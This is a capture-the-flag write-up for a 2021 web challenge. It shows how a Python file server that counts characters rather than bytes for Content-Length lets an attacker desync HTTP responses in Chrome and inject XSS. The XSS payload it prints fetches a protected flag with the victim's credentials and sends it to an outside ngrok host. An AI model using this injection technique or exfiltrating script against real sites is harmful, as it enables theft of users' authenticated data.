# Sticky Notes

My Sticky Notes app uses a simple file server I wrote in Python! Surely there
aren't any bugs...

App: http://35.224.135.84:3100

Attachments: `sticky_notes.zip`

## TLDR

HTTP desync similar to  
[Carmen
Sandiego](https://gist.github.com/bluepichu/6898d0f15f9b58ba5a0571213c3896a2)  
from PlaidCTF 2021, but instead of a filesystem TOCTOU it exploits  
`len(s) != len(s.encode())` when multi-byte chars are used.

## Overview

Three servers:  
\- `web/boards.py` (port `3100`): Provides a simple web interface.  
\- `web/notes.py` (port `3101`): Home-rolled static file server. Flag is also
here.  
\- `bot/app.js` (port `3102`, internal): Admin bot with access to the flag.

Notes are stored in `/tmp/boards` and `web/boards.py` simply provides an API  
for fetching and creating notes (also provides a "Report" function that  
triggers the admin bot). Weirdly enough, notes are displayed using `iframes`
to  
the `web/notes.py` server:

```html  
<iframe src="http://localhost:3101/{board_id}/note0"></iframe>  
```

Unfortunately we can't get XSS easily because of the `Content-Type`:  
```python  
header_template = """HTTP/1.1 {status_code} OK\r  
Date: {date}\r  
Content-Length: {content_length}\r  
Connection: keep-alive\r  
Content-Type: text/plain; charset="utf-8"\r  
\r  
"""  
```

Goal: Inject our own HTTP headers and payload to achieve XSS.

## HTTP response injection

The vulnerability is here:  
```python  
def http_header(s: str, status_code: int):  
return header_template.format(  
status_code=status_code,  
date=formatdate(timeval=None, localtime=False, usegmt=True),  
content_length=len(s),  
).encode()  
```

Because:  
```python  
assert len("?") == 1  
assert len("?".encode()) == 4  
```

If we use multi-byte chars, the `Content-Length` will be shorter than the  
actual content. We can abuse this like so:  
```python  
payload = "????evil payload"  
i = len(payload)  
assert payload.encode()[:i] == "????".encode()  
assert payload.encode()[i:] == b"evil payload"  
```

Now if we request this note, the 1st HTTP response should be `????` and the  
2nd should be `evil payload`. However, turns out it's not that simple.

## HTTP desync

Chrome has 6 max connections per domain, so the 7th one reuses the 1st  
connection when it's `HTTP/1.1` with `Connection: keep-alive`. In this case,  
the server logs would show:  
```  
[*] GET /0 HTTP/1.1 127.0.0.1:41844, 1st request  
[*] GET /1 HTTP/1.1 127.0.0.1:41846, 1st request  
[*] GET /2 HTTP/1.1 127.0.0.1:41848, 1st request  
[*] GET /3 HTTP/1.1 127.0.0.1:41850, 1st request  
[*] GET /4 HTTP/1.1 127.0.0.1:41852, 1st request  
[*] GET /5 HTTP/1.1 127.0.0.1:41854, 1st request  
[*] GET /6 HTTP/1.1 127.0.0.1:41844, 2nd request  
```

If we're able to send two HTTP responses on `GET /0`, then `GET /6` would  
receive the 2nd HTTP response containing our XSS payload.

However, due to the way browsers are implemented, the 2nd HTTP response must  
appear in a different TCP packet than the 1st. Luckily in `notes.py` we have:  
```python  
for chunk in iter_chunks(content):  
self.wfile.write(chunk)  
time.sleep(0.1)  
```

The server sends data in 1448 byte chunks and sleeps for 0.1 sec between  
each chunk. That means as long as the 2nd HTTP response occurs after 1448  
bytes, then it will appear in its own packet.

## Payload

We want our XSS payload to occur right at the start of a TCP packet. In order  
to do so, we need to precede it with a bunch of Unicode chars to mess up the  
`Content-Length`. Here's the calculation:

```  
"?" is 4 bytes

We want:  
len(pre) + len(payload) == len(pre.encode())

So:  
len(pre) + len(payload) == 4 * len(pre)  
len(pre) = len(payload) // 3

We also want len(pre) + len(payload) to be a multiple of 1448.

An easy solution is:  
len(payload) = 1448 * 3  
len(pre) = 1448  
```

So basically our payload looks like  
```python  
pre = "?" * 1448  
payload = "whatever we want"  
assert len(payload) == 1448 * 3  
```

With this, our payload will appear in the 7th iframe, giving us XSS.  
```  
?????...?????HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 410

<marquee id="title">Fetching flag...</marquee>  
<script>  
(async () => {  
// Discard this first request because it will receive the padding at the  
// end of the payload.  
fetch('/flag', {credentials: 'same-origin'})

const res = await fetch('/flag', {credentials: 'same-origin'})  
const flag = await res.text()  
fetch('http://daccb1edf8e2.ngrok.io/' \+ encodeURIComponent(flag))  
document.getElementById('title').textContent = 'Pwned'  
})()  
</script>  
ZZZZZ...ZZZZZ  
```

Script in `solve.py`:

![win](win.png)

![flag](flag.png)  

Original writeup
(https://github.com/qxxxb/ctf_challenges/blob/master/2021/ccc/web/sticky_notes/solve).